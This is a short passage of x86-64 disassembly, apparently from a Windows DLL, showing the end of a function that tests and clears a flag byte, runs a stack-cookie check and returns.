cmp qword [rbp + 0x88], rax
je 0x180018010
xor al, al
jmp 0x18001804f
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x18001802b
mov dword [rbp + 0x194], 1
jmp 0x180018035
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x18001804f
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x18001804f
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x18003a7f0]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret